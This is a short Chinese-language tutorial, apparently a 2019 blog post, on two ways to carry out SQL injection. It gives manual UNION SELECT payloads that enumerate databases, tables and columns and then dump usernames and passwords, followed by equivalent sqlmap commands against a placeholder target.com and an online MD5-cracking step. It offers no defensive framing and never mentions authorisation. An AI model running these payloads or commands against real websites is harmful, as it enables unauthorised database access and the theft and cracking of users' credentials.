SQL注入的两种方法

方法一:手工注入

  1. 判断是否存在注入点

    在链接后面加单引号 ,页面返回不正常,则可能存在SQL注入。

  2. 猜有几个段

    加上 `order by N+1,当页面返回错误,则可以判断出存在N个段。

  3. 确定注入位置

    链接后面加上 and 1=2 union select 1,2,3……,N,确定页面爆出的位置,例如 N=4 位置3处

  4. 爆出数据库名

    链接后面加上 and 1=2 union select 1,2,group_concat(schema_name),4 from information.schemata

    例如爆出数据库有:infomation_schema,Group_name,others

  5. 爆出数据库Group_name的数据表

    链接后面加上 and 1=2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='Group_name'

    例如爆出有两个数据表,分别为 members,others

  6. 爆出数据表的列项

    链接后面加上 and 1=2 union select 1,2,group_concat(column_name,'-',colunmn_type),4 from information_schema.columns where table_schema='Group_name' and table_name='members'

    例如爆出两个列及类型:name-varchar(20),password-varchar(255)

  7. 爆出用户名和密码

    链接后面加上 and 1=2 union select 1,2,group_concat(name,'-',password),4 from Group_name.members

  8. MD5解密

    爆出的密码是加密过的,MD5在线解密网址https://pmd5.com

方法二:sqlmap工具

  • 运行系统:kali

  • -u 后跟存在注入点的网址

    sqlmap -u "https://target.com/index.php?id=2"
    • 注意: 如果是base64编码,则每条命令都需要引入模块 base64encode.py

    • 例如:

      sqlmap -u "https://target.com/index.php?id=2" --tamper "base64encode.py"
  • --dbs 爆出数据库

    sqlmap -u "https://target.com/index.php?id=2" --dbs

    例如爆出数据库有:infomation_schema,Group_name,others

  • --tables 爆出相应数据库表项

    sqlmap -u "https://target.com/index.php?id=2" -D Group_name --tables

    例如爆出有两个数据表,分别为 members,others

  • --columns 爆出数据表的列项

    sqlmap -u "https://target.com/index.php?id=2" -D Group_name -T members --columns

    例如爆出两个列及类型:name-varchar(20),password-varchar(255)

  • 爆出用户名和密码

    sqlmap -u "https://target.com/index.php?id=2" -D Group_name -T members --dump
  • MD5解密

    爆出的密码是加密过的,MD5在线解密网址https://pmd5.com

2019-12-06 07:01:23